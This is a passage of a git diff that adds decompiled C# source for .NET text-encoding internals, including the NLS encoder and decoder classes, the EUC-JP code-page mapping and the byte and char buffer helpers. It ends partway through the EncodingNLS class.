b/decompiled/Libraries/system.text.encoding.codepages/System.Text/DecoderNLS.cs @@ -0,0 +1,233 @@ +using System.Runtime.Serialization; + +namespace System.Text; + +internal class DecoderNLS : Decoder, ISerializable +{ + protected EncodingNLS m_encoding; + + protected bool m_mustFlush; + + internal bool m_throwOnOverflow; + + internal int m_bytesUsed; + + internal DecoderFallback m_fallback; + + internal DecoderFallbackBuffer m_fallbackBuffer; + + internal new DecoderFallback Fallback => m_fallback; + + internal bool InternalHasFallbackBuffer => m_fallbackBuffer != null; + + public new DecoderFallbackBuffer FallbackBuffer + { + get + { + if (m_fallbackBuffer == null) + { + m_fallbackBuffer = ((m_fallback != null) ? m_fallback.CreateFallbackBuffer() : DecoderFallback.ReplacementFallback.CreateFallbackBuffer()); + } + return m_fallbackBuffer; + } + } + + public bool MustFlush => m_mustFlush; + + internal virtual bool HasState => false; + + internal DecoderNLS(EncodingNLS encoding) + { + m_encoding = encoding; + m_fallback = m_encoding.DecoderFallback; + Reset(); + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + throw new PlatformNotSupportedException(); + } + + public override void Reset() + { + m_fallbackBuffer?.Reset(); + } + + public override int GetCharCount(byte[] bytes, int index, int count) + { + return GetCharCount(bytes, index, count, flush: false); + } + + public unsafe override int GetCharCount(byte[] bytes, int index, int count, bool flush) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (index < 0 || count < 0) + { + throw new ArgumentOutOfRangeException((index < 0) ? "index" : "count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (bytes.Length - index < count) + { + throw new ArgumentOutOfRangeException("bytes", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (bytes.Length == 0) + { + bytes = new byte[1]; + } + fixed (byte* ptr = &bytes[0]) + { + return GetCharCount(ptr + index, count, flush); + } + } + + public unsafe override int GetCharCount(byte* bytes, int count, bool flush) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (count < 0) + { + throw new ArgumentOutOfRangeException("count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + m_mustFlush = flush; + m_throwOnOverflow = true; + return m_encoding.GetCharCount(bytes, count, this); + } + + public override int GetChars(byte[] bytes, int byteIndex, int byteCount, char[] chars, int charIndex) + { + return GetChars(bytes, byteIndex, byteCount, chars, charIndex, flush: false); + } + + public unsafe override int GetChars(byte[] bytes, int byteIndex, int byteCount, char[] chars, int charIndex, bool flush) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (byteIndex < 0 || byteCount < 0) + { + throw new ArgumentOutOfRangeException((byteIndex < 0) ? "byteIndex" : "byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (bytes.Length - byteIndex < byteCount) + { + throw new ArgumentOutOfRangeException("bytes", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (charIndex < 0 || charIndex > chars.Length) + { + throw new ArgumentOutOfRangeException("charIndex", System.SR.ArgumentOutOfRange_IndexMustBeLessOrEqual); + } + if (bytes.Length == 0) + { + bytes = new byte[1]; + } + int charCount = chars.Length - charIndex; + if (chars.Length == 0) + { + chars = new char[1]; + } + fixed (byte* ptr = &bytes[0]) + { + fixed (char* ptr2 = &chars[0]) + { + return GetChars(ptr + byteIndex, byteCount, ptr2 + charIndex, charCount, flush); + } + } + } + + public unsafe override int GetChars(byte* bytes, int byteCount, char* chars, int charCount, bool flush) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (byteCount < 0 || charCount < 0) + { + throw new ArgumentOutOfRangeException((byteCount < 0) ? "byteCount" : "charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + m_mustFlush = flush; + m_throwOnOverflow = true; + return m_encoding.GetChars(bytes, byteCount, chars, charCount, this); + } + + public unsafe override void Convert(byte[] bytes, int byteIndex, int byteCount, char[] chars, int charIndex, int charCount, bool flush, out int bytesUsed, out int charsUsed, out bool completed) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (byteIndex < 0 || byteCount < 0) + { + throw new ArgumentOutOfRangeException((byteIndex < 0) ? "byteIndex" : "byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (charIndex < 0 || charCount < 0) + { + throw new ArgumentOutOfRangeException((charIndex < 0) ? "charIndex" : "charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (bytes.Length - byteIndex < byteCount) + { + throw new ArgumentOutOfRangeException("bytes", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (chars.Length - charIndex < charCount) + { + throw new ArgumentOutOfRangeException("chars", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (bytes.Length == 0) + { + bytes = new byte[1]; + } + if (chars.Length == 0) + { + chars = new char[1]; + } + fixed (byte* ptr = &bytes[0]) + { + fixed (char* ptr2 = &chars[0]) + { + Convert(ptr + byteIndex, byteCount, ptr2 + charIndex, charCount, flush, out bytesUsed, out charsUsed, out completed); + } + } + } + + public unsafe override void Convert(byte* bytes, int byteCount, char* chars, int charCount, bool flush, out int bytesUsed, out int charsUsed, out bool completed) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (byteCount < 0 || charCount < 0) + { + throw new ArgumentOutOfRangeException((byteCount < 0) ? "byteCount" : "charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + m_mustFlush = flush; + m_throwOnOverflow = false; + m_bytesUsed = 0; + charsUsed = m_encoding.GetChars(bytes, byteCount, chars, charCount, this); + bytesUsed = m_bytesUsed; + completed = bytesUsed == byteCount && (!flush || !HasState) && (m_fallbackBuffer == null || m_fallbackBuffer.Remaining == 0); + } + + internal void ClearMustFlush() + { + m_mustFlush = false; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/EUCJPEncoding.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EUCJPEncoding.cs new file mode 100644 index 0000000..84a5430 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EUCJPEncoding.cs @@ -0,0 +1,110 @@ +namespace System.Text; + +internal sealed class EUCJPEncoding : DBCSCodePageEncoding +{ + public EUCJPEncoding() + : base(51932, 932) + { + } + + protected override bool CleanUpBytes(ref int bytes) + { + if (bytes >= 256) + { + if (bytes >= 64064 && bytes <= 64587) + { + if (bytes >= 64064 && bytes <= 64091) + { + if (bytes <= 64073) + { + bytes -= 2897; + } + else if (bytes >= 64074 && bytes <= 64083) + { + bytes -= 29430; + } + else if (bytes >= 64084 && bytes <= 64087) + { + bytes -= 2907; + } + else if (bytes == 64088) + { + bytes = 34698; + } + else if (bytes == 64089) + { + bytes = 34690; + } + else if (bytes == 64090) + { + bytes = 34692; + } + else if (bytes == 64091) + { + bytes = 34714; + } + } + else if (bytes >= 64092 && bytes <= 64587) + { + byte b = (byte)bytes; + if (b < 92) + { + bytes -= 3423; + } + else if (b >= 128 && b <= 155) + { + bytes -= 3357; + } + else + { + bytes -= 3356; + } + } + } + byte b2 = (byte)(bytes >> 8); + byte b3 = (byte)bytes; + b2 = (byte)(b2 - ((b2 > 159) ? 177 : 113)); + b2 = (byte)((b2 << 1) + 1); + if (b3 > 158) + { + b3 -= 126; + b2++; + } + else + { + if (b3 > 126) + { + b3--; + } + b3 -= 31; + } + bytes = (b2 << 8) | b3 | 0x8080; + if ((bytes & 0xFF00) < 41216 || (bytes & 0xFF00) > 65024 || (bytes & 0xFF) < 161 || (bytes & 0xFF) > 254) + { + return false; + } + } + else + { + if (bytes >= 161 && bytes <= 223) + { + bytes |= 36352; + return true; + } + if (bytes >= 129 && bytes != 160 && bytes != 255) + { + return false; + } + } + return true; + } + + protected unsafe override void CleanUpEndBytes(char* chars) + { + for (int i = 161; i <= 254; i++) + { + chars[i] = '\ufffe'; + } + chars[142] = '\ufffe'; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncoderFallbackBufferHelper.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncoderFallbackBufferHelper.cs new file mode 100644 index 0000000..84eb947 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncoderFallbackBufferHelper.cs @@ -0,0 +1,98 @@ +namespace System.Text; + +internal unsafe struct EncoderFallbackBufferHelper(EncoderFallbackBuffer fallbackBuffer) +{ + internal unsafe char* charStart; + + internal unsafe char* charEnd = (charStart = null); + + internal System.Text.EncoderNLS encoder = null; + + internal bool setEncoder; + + internal bool bUsedEncoder; + + internal bool bFallingBack = (bUsedEncoder = (setEncoder = false)); + + internal int iRecursionCount = 0; + + private const int iMaxRecursion = 250; + + private readonly EncoderFallbackBuffer _fallbackBuffer = fallbackBuffer; + + internal unsafe void InternalReset() + { + charStart = null; + bFallingBack = false; + iRecursionCount = 0; + _fallbackBuffer.Reset(); + } + + internal unsafe void InternalInitialize(char* _charStart, char* _charEnd, System.Text.EncoderNLS _encoder, bool _setEncoder) + { + charStart = _charStart; + charEnd = _charEnd; + encoder = _encoder; + setEncoder = _setEncoder; + bUsedEncoder = false; + bFallingBack = false; + iRecursionCount = 0; + } + + internal char InternalGetNextChar() + { + char nextChar = _fallbackBuffer.GetNextChar(); + bFallingBack = nextChar != '\0'; + if (nextChar == '\0') + { + iRecursionCount = 0; + } + return nextChar; + } + + internal unsafe bool InternalFallback(char ch, ref char* chars) + { + int index = (int)(chars - charStart) - 1; + if (char.IsHighSurrogate(ch)) + { + if (chars >= charEnd) + { + if (encoder != null && !encoder.MustFlush) + { + if (setEncoder) + { + bUsedEncoder = true; + encoder.charLeftOver = ch; + } + bFallingBack = false; + return false; + } + } + else + { + char c = *chars; + if (char.IsLowSurrogate(c)) + { + if (bFallingBack && iRecursionCount++ > 250) + { + ThrowLastCharRecursive(char.ConvertToUtf32(ch, c)); + } + chars++; + bFallingBack = _fallbackBuffer.Fallback(ch, c, index); + return bFallingBack; + } + } + } + if (bFallingBack && iRecursionCount++ > 250) + { + ThrowLastCharRecursive(ch); + } + bFallingBack = _fallbackBuffer.Fallback(ch, index); + return bFallingBack; + } + + internal static void ThrowLastCharRecursive(int charRecursive) + { + throw new ArgumentException(System.SR.Format(System.SR.Argument_RecursiveFallback, charRecursive), "chars"); + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncoderNLS.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncoderNLS.cs new file mode 100644 index 0000000..6c5b912 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncoderNLS.cs @@ -0,0 +1,230 @@ +using System.Runtime.Serialization; + +namespace System.Text; + +internal class EncoderNLS : Encoder, ISerializable +{ + internal char charLeftOver; + + protected EncodingNLS m_encoding; + + protected bool m_mustFlush; + + internal bool m_throwOnOverflow; + + internal int m_charsUsed; + + internal EncoderFallback m_fallback; + + internal EncoderFallbackBuffer m_fallbackBuffer; + + internal new EncoderFallback Fallback => m_fallback; + + internal bool InternalHasFallbackBuffer => m_fallbackBuffer != null; + + public new EncoderFallbackBuffer FallbackBuffer + { + get + { + if (m_fallbackBuffer == null) + { + m_fallbackBuffer = ((m_fallback != null) ? m_fallback.CreateFallbackBuffer() : EncoderFallback.ReplacementFallback.CreateFallbackBuffer()); + } + return m_fallbackBuffer; + } + } + + public Encoding Encoding => m_encoding; + + public bool MustFlush => m_mustFlush; + + internal virtual bool HasState => charLeftOver != '\0'; + + internal EncoderNLS(EncodingNLS encoding) + { + m_encoding = encoding; + m_fallback = m_encoding.EncoderFallback; + Reset(); + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + throw new PlatformNotSupportedException(); + } + + public override void Reset() + { + charLeftOver = '\0'; + m_fallbackBuffer?.Reset(); + } + + public unsafe override int GetByteCount(char[] chars, int index, int count, bool flush) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (index < 0 || count < 0) + { + throw new ArgumentOutOfRangeException((index < 0) ? "index" : "count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (chars.Length - index < count) + { + throw new ArgumentOutOfRangeException("chars", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (chars.Length == 0) + { + chars = new char[1]; + } + int num = -1; + fixed (char* ptr = &chars[0]) + { + num = GetByteCount(ptr + index, count, flush); + } + return num; + } + + public unsafe override int GetByteCount(char* chars, int count, bool flush) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (count < 0) + { + throw new ArgumentOutOfRangeException("count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + m_mustFlush = flush; + m_throwOnOverflow = true; + return m_encoding.GetByteCount(chars, count, this); + } + + public unsafe override int GetBytes(char[] chars, int charIndex, int charCount, byte[] bytes, int byteIndex, bool flush) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (charIndex < 0 || charCount < 0) + { + throw new ArgumentOutOfRangeException((charIndex < 0) ? "charIndex" : "charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (chars.Length - charIndex < charCount) + { + throw new ArgumentOutOfRangeException("chars", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (byteIndex < 0 || byteIndex > bytes.Length) + { + throw new ArgumentOutOfRangeException("byteIndex", System.SR.ArgumentOutOfRange_IndexMustBeLessOrEqual); + } + if (chars.Length == 0) + { + chars = new char[1]; + } + int byteCount = bytes.Length - byteIndex; + if (bytes.Length == 0) + { + bytes = new byte[1]; + } + fixed (char* ptr = &chars[0]) + { + fixed (byte* ptr2 = &bytes[0]) + { + return GetBytes(ptr + charIndex, charCount, ptr2 + byteIndex, byteCount, flush); + } + } + } + + public unsafe override int GetBytes(char* chars, int charCount, byte* bytes, int byteCount, bool flush) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (byteCount < 0 || charCount < 0) + { + throw new ArgumentOutOfRangeException((byteCount < 0) ? "byteCount" : "charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + m_mustFlush = flush; + m_throwOnOverflow = true; + return m_encoding.GetBytes(chars, charCount, bytes, byteCount, this); + } + + public unsafe override void Convert(char[] chars, int charIndex, int charCount, byte[] bytes, int byteIndex, int byteCount, bool flush, out int charsUsed, out int bytesUsed, out bool completed) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (charIndex < 0 || charCount < 0) + { + throw new ArgumentOutOfRangeException((charIndex < 0) ? "charIndex" : "charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (byteIndex < 0 || byteCount < 0) + { + throw new ArgumentOutOfRangeException((byteIndex < 0) ? "byteIndex" : "byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (chars.Length - charIndex < charCount) + { + throw new ArgumentOutOfRangeException("chars", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (bytes.Length - byteIndex < byteCount) + { + throw new ArgumentOutOfRangeException("bytes", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (chars.Length == 0) + { + chars = new char[1]; + } + if (bytes.Length == 0) + { + bytes = new byte[1]; + } + fixed (char* ptr = &chars[0]) + { + fixed (byte* ptr2 = &bytes[0]) + { + Convert(ptr + charIndex, charCount, ptr2 + byteIndex, byteCount, flush, out charsUsed, out bytesUsed, out completed); + } + } + } + + public unsafe override void Convert(char* chars, int charCount, byte* bytes, int byteCount, bool flush, out int charsUsed, out int bytesUsed, out bool completed) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (charCount < 0 || byteCount < 0) + { + throw new ArgumentOutOfRangeException((charCount < 0) ? "charCount" : "byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + m_mustFlush = flush; + m_throwOnOverflow = false; + m_charsUsed = 0; + bytesUsed = m_encoding.GetBytes(chars, charCount, bytes, byteCount, this); + charsUsed = m_charsUsed; + completed = charsUsed == charCount && (!flush || !HasState) && (m_fallbackBuffer == null || m_fallbackBuffer.Remaining == 0); + } + + internal void ClearMustFlush() + { + m_mustFlush = false; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingByteBuffer.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingByteBuffer.cs new file mode 100644 index 0000000..d238766 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingByteBuffer.cs @@ -0,0 +1,156 @@ +namespace System.Text; + +internal sealed class EncodingByteBuffer +{ + private unsafe byte* _bytes; + + private unsafe readonly byte* _byteStart; + + private unsafe readonly byte* _byteEnd; + + private unsafe char* _chars; + + private unsafe readonly char* _charStart; + + private unsafe readonly char* _charEnd; + + private int _byteCountResult; + + private readonly EncodingNLS _enc; + + private readonly System.Text.EncoderNLS _encoder; + + internal EncoderFallbackBuffer fallbackBuffer; + + internal EncoderFallbackBufferHelper fallbackBufferHelper; + + internal unsafe bool MoreData + { + get + { + if (fallbackBuffer.Remaining <= 0) + { + return _chars < _charEnd; + } + return true; + } + } + + internal unsafe int CharsUsed => (int)(_chars - _charStart); + + internal int Count => _byteCountResult; + + internal unsafe EncodingByteBuffer(EncodingNLS inEncoding, System.Text.EncoderNLS inEncoder, byte* inByteStart, int inByteCount, char* inCharStart, int inCharCount) + { + _enc = inEncoding; + _encoder = inEncoder; + _charStart = inCharStart; + _chars = inCharStart; + _charEnd = inCharStart + inCharCount; + _bytes = inByteStart; + _byteStart = inByteStart; + _byteEnd = inByteStart + inByteCount; + if (_encoder == null) + { + fallbackBuffer = _enc.EncoderFallback.CreateFallbackBuffer(); + } + else + { + fallbackBuffer = _encoder.FallbackBuffer; + if (_encoder.m_throwOnOverflow && _encoder.InternalHasFallbackBuffer && fallbackBuffer.Remaining > 0) + { + throw new ArgumentException(System.SR.Format(System.SR.Argument_EncoderFallbackNotEmpty, _encoder.Encoding.EncodingName, _encoder.Fallback.GetType())); + } + } + fallbackBufferHelper = new EncoderFallbackBufferHelper(fallbackBuffer); + fallbackBufferHelper.InternalInitialize(_chars, _charEnd, _encoder, _bytes != null); + } + + internal unsafe bool AddByte(byte b, int moreBytesExpected) + { + if (_bytes != null) + { + if (_bytes >= _byteEnd - moreBytesExpected) + { + MovePrevious(bThrow: true); + return false; + } + *(_bytes++) = b; + } + _byteCountResult++; + return true; + } + + internal bool AddByte(byte b1) + { + return AddByte(b1, 0); + } + + internal bool AddByte(byte b1, byte b2) + { + return AddByte(b1, b2, 0); + } + + internal bool AddByte(byte b1, byte b2, int moreBytesExpected) + { + if (AddByte(b1, 1 + moreBytesExpected)) + { + return AddByte(b2, moreBytesExpected); + } + return false; + } + + internal bool AddByte(byte b1, byte b2, byte b3) + { + return AddByte(b1, b2, b3, 0); + } + + internal bool AddByte(byte b1, byte b2, byte b3, int moreBytesExpected) + { + if (AddByte(b1, 2 + moreBytesExpected) && AddByte(b2, 1 + moreBytesExpected)) + { + return AddByte(b3, moreBytesExpected); + } + return false; + } + + internal bool AddByte(byte b1, byte b2, byte b3, byte b4) + { + if (AddByte(b1, 3) && AddByte(b2, 2) && AddByte(b3, 1)) + { + return AddByte(b4, 0); + } + return false; + } + + internal unsafe void MovePrevious(bool bThrow) + { + if (fallbackBufferHelper.bFallingBack) + { + fallbackBuffer.MovePrevious(); + } + else if (_chars > _charStart) + { + _chars--; + } + if (bThrow) + { + _enc.ThrowBytesOverflow(_encoder, _bytes == _byteStart); + } + } + + internal unsafe bool Fallback(char charFallback) + { + return fallbackBufferHelper.InternalFallback(charFallback, ref _chars); + } + + internal unsafe char GetNextChar() + { + char c = fallbackBufferHelper.InternalGetNextChar(); + if (c == '\0' && _chars < _charEnd) + { + c = *(_chars++); + } + return c; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingCharBuffer.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingCharBuffer.cs new file mode 100644 index 0000000..22e8f6a --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingCharBuffer.cs @@ -0,0 +1,148 @@ +namespace System.Text; + +internal sealed class EncodingCharBuffer +{ + private unsafe char* _chars; + + private unsafe readonly char* _charStart; + + private unsafe readonly char* _charEnd; + + private int _charCountResult; + + private readonly EncodingNLS _enc; + + private readonly System.Text.DecoderNLS _decoder; + + private unsafe readonly byte* _byteStart; + + private unsafe readonly byte* _byteEnd; + + private unsafe byte* _bytes; + + private readonly DecoderFallbackBuffer _fallbackBuffer; + + private DecoderFallbackBufferHelper _fallbackBufferHelper; + + internal unsafe bool MoreData => _bytes < _byteEnd; + + internal unsafe int BytesUsed => (int)(_bytes - _byteStart); + + internal int Count => _charCountResult; + + internal unsafe EncodingCharBuffer(EncodingNLS enc, System.Text.DecoderNLS decoder, char* charStart, int charCount, byte* byteStart, int byteCount) + { + _enc = enc; + _decoder = decoder; + _chars = charStart; + _charStart = charStart; + _charEnd = charStart + charCount; + _byteStart = byteStart; + _bytes = byteStart; + _byteEnd = byteStart + byteCount; + if (_decoder == null) + { + _fallbackBuffer = enc.DecoderFallback.CreateFallbackBuffer(); + } + else + { + _fallbackBuffer = _decoder.FallbackBuffer; + } + _fallbackBufferHelper = new DecoderFallbackBufferHelper(_fallbackBuffer); + _fallbackBufferHelper.InternalInitialize(_bytes, _charEnd); + } + + internal unsafe bool AddChar(char ch, int numBytes) + { + if (_chars != null) + { + if (_chars >= _charEnd) + { + _bytes -= numBytes; + _enc.ThrowCharsOverflow(_decoder, _bytes <= _byteStart); + return false; + } + *(_chars++) = ch; + } + _charCountResult++; + return true; + } + + internal bool AddChar(char ch) + { + return AddChar(ch, 1); + } + + internal unsafe bool AddChar(char ch1, char ch2, int numBytes) + { + if (_chars >= _charEnd - 1) + { + _bytes -= numBytes; + _enc.ThrowCharsOverflow(_decoder, _bytes <= _byteStart); + return false; + } + if (AddChar(ch1, numBytes)) + { + return AddChar(ch2, numBytes); + } + return false; + } + + internal unsafe void AdjustBytes(int count) + { + _bytes += count; + } + + internal unsafe bool EvenMoreData(int count) + { + return _bytes <= _byteEnd - count; + } + + internal unsafe byte GetNextByte() + { + if (_bytes >= _byteEnd) + { + return 0; + } + return *(_bytes++); + } + + internal bool Fallback(byte fallbackByte) + { + byte[] byteBuffer = new byte[1] { fallbackByte }; + return Fallback(byteBuffer); + } + + internal bool Fallback(byte byte1, byte byte2) + { + byte[] byteBuffer = new byte[2] { byte1, byte2 }; + return Fallback(byteBuffer); + } + + internal bool Fallback(byte byte1, byte byte2, byte byte3, byte byte4) + { + byte[] byteBuffer = new byte[4] { byte1, byte2, byte3, byte4 }; + return Fallback(byteBuffer); + } + + internal unsafe bool Fallback(byte[] byteBuffer) + { + if (_chars != null) + { + char* chars = _chars; + if (!_fallbackBufferHelper.InternalFallback(byteBuffer, _bytes, ref _chars)) + { + _bytes -= byteBuffer.Length; + _fallbackBufferHelper.InternalReset(); + _enc.ThrowCharsOverflow(_decoder, _chars == _charStart); + return false; + } + _charCountResult += (int)(_chars - chars); + } + else + { + _charCountResult += _fallbackBufferHelper.InternalFallback(byteBuffer, _bytes); + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingNLS.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingNLS.cs new file mode 100644 index 0000000..70a90aa --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/EncodingNLS.cs @@ -0,0 +1,546 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text; + +internal abstract class EncodingNLS : Encoding +{ + private string _encodingName; + + private string _webName; + + public override string EncodingName + { + get + { + if (_encodingName == null) + { + _encodingName = GetLocalizedEncodingNameResource(CodePage); + if (_encodingName == null) + { + throw new NotSupportedException(System.SR.Format(System.SR.MissingEncodingNameResource, WebName, CodePage)); + } + if (_encodingName.StartsWith("Globalization_cp_", StringComparison.OrdinalIgnoreCase)) + { + _encodingName = System.Text.EncodingTable.GetEnglishNameFromCodePage(CodePage); + if (_encodingName == null) + { + throw new NotSupportedException(System.SR.Format(System.SR.MissingEncodingNameResource, WebName, CodePage)); + } + } + } + return _encodingName; + } + } + + public override string WebName + { + get + { + if (_webName == null) + { + _webName = System.Text.EncodingTable.GetWebNameFromCodePage(CodePage); + if (_webName == null) + { + throw new NotSupportedException(System.SR.Format(System.SR.NotSupported_NoCodepageData, CodePage)); + } + } + return _webName; + } + } + + public override string HeaderName => CodePage switch + { + 932 => "iso-2022-jp", + 50221 => "iso-2022-jp", + 50225 => "euc-kr", + _ => WebName, + }; + + public override string BodyName => CodePage switch + { + 932 => "iso-2022-jp", + 1250 => "iso-8859-2", + 1251 => "koi8-r", + 1252 => "iso-8859-1", + 1253 => "iso-8859-7", + 1254 => "iso-8859-9", + 50221 => "iso-2022-jp", + 50225 => "iso-2022-kr", + _ => WebName, + }; + + protected EncodingNLS(int codePage) + : base(codePage) + { + } + + protected EncodingNLS(int codePage, EncoderFallback enc, DecoderFallback dec) + : base(codePage, enc, dec) + { + } + + public unsafe abstract int GetByteCount(char* chars, int count, System.Text.EncoderNLS encoder); + + public unsafe abstract int GetBytes(char* chars, int charCount, byte* bytes, int byteCount, System.Text.EncoderNLS encoder); + + public unsafe abstract int GetCharCount(byte* bytes, int count, System.Text.DecoderNLS decoder); + + public unsafe abstract int GetChars(byte* bytes, int byteCount, char* chars, int charCount, System.Text.DecoderNLS decoder); + + public unsafe override int GetByteCount(char[] chars, int index, int count) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (index < 0 || count < 0) + { + throw new ArgumentOutOfRangeException((index < 0) ? "index" : "count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (chars.Length - index < count) + { + throw new ArgumentOutOfRangeException("chars", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (chars.Length == 0) + { + return 0; + } + fixed (char* ptr = &chars[0]) + { + return GetByteCount(ptr + index, count, null); + } + } + + public unsafe override int GetByteCount(string s) + { + if (s == null) + { + throw new ArgumentNullException("s"); + } + fixed (char* chars = s) + { + return GetByteCount(chars, s.Length, null); + } + } + + public unsafe override int GetByteCount(char* chars, int count) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (count < 0) + { + throw new ArgumentOutOfRangeException("count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + return GetByteCount(chars, count, null); + } + + public unsafe override int GetBytes(string s, int charIndex, int charCount, byte[] bytes, int byteIndex) + { + if (s == null) + { + throw new ArgumentNullException("s"); + } + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (charIndex < 0 || charCount < 0) + { + throw new ArgumentOutOfRangeException((charIndex < 0) ? "charIndex" : "charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (s.Length - charIndex < charCount) + { + throw new ArgumentOutOfRangeException("s", System.SR.ArgumentOutOfRange_IndexCount); + } + if (byteIndex < 0 || byteIndex > bytes.Length) + { + throw new ArgumentOutOfRangeException("byteIndex", System.SR.ArgumentOutOfRange_IndexMustBeLessOrEqual); + } + int byteCount = bytes.Length - byteIndex; + if (bytes.Length == 0) + { + bytes = new byte[1]; + } + fixed (char* ptr = s) + { + fixed (byte* ptr2 = &bytes[0]) + { + return GetBytes(ptr + charIndex, charCount, ptr2 + byteIndex, byteCount, null); + } + } + } + + public unsafe override int GetBytes(char[] chars, int charIndex, int charCount, byte[] bytes, int byteIndex) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (charIndex < 0 || charCount < 0) + { + throw new ArgumentOutOfRangeException((charIndex < 0) ? "charIndex" : "charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (chars.Length - charIndex < charCount) + { + throw new ArgumentOutOfRangeException("chars", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (byteIndex < 0 || byteIndex > bytes.Length) + { + throw new ArgumentOutOfRangeException("byteIndex", System.SR.ArgumentOutOfRange_IndexMustBeLessOrEqual); + } + if (chars.Length == 0) + { + return 0; + } + int byteCount = bytes.Length - byteIndex; + if (bytes.Length == 0) + { + bytes = new byte[1]; + } + fixed (char* ptr = &chars[0]) + { + fixed (byte* ptr2 = &bytes[0]) + { + return GetBytes(ptr + charIndex, charCount, ptr2 + byteIndex, byteCount, null); + } + } + } + + public unsafe override int GetBytes(char* chars, int charCount, byte* bytes, int byteCount) + { + if (chars == null) + { + throw new ArgumentNullException("chars"); + } + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (charCount < 0 || byteCount < 0) + { + throw new ArgumentOutOfRangeException((charCount < 0) ? "charCount" : "byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + return GetBytes(chars, charCount, bytes, byteCount, null); + } + + public unsafe override int GetCharCount(byte[] bytes, int index, int count) + { + if (bytes == null) + { + throw new ArgumentNullException("bytes"); + } + if (index < 0 || count < 0) + { + throw new ArgumentOutOfRangeException((index < 0) ? "index" : "count", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (bytes.Length - index < count) + { + throw new ArgumentOutOfRangeException("bytes", System.SR.ArgumentOutOfRange_IndexCountBuffer); + } + if (bytes.Length == 0) + { + return 0; + } + fixed (byte* ptr = &bytes[0]) + { + return GetCharCount(ptr + index, count, null); + } + } + + public unsafe override int GetCharCount(byte* bytes, int count) + { + if (bytes == null) + { + throw new 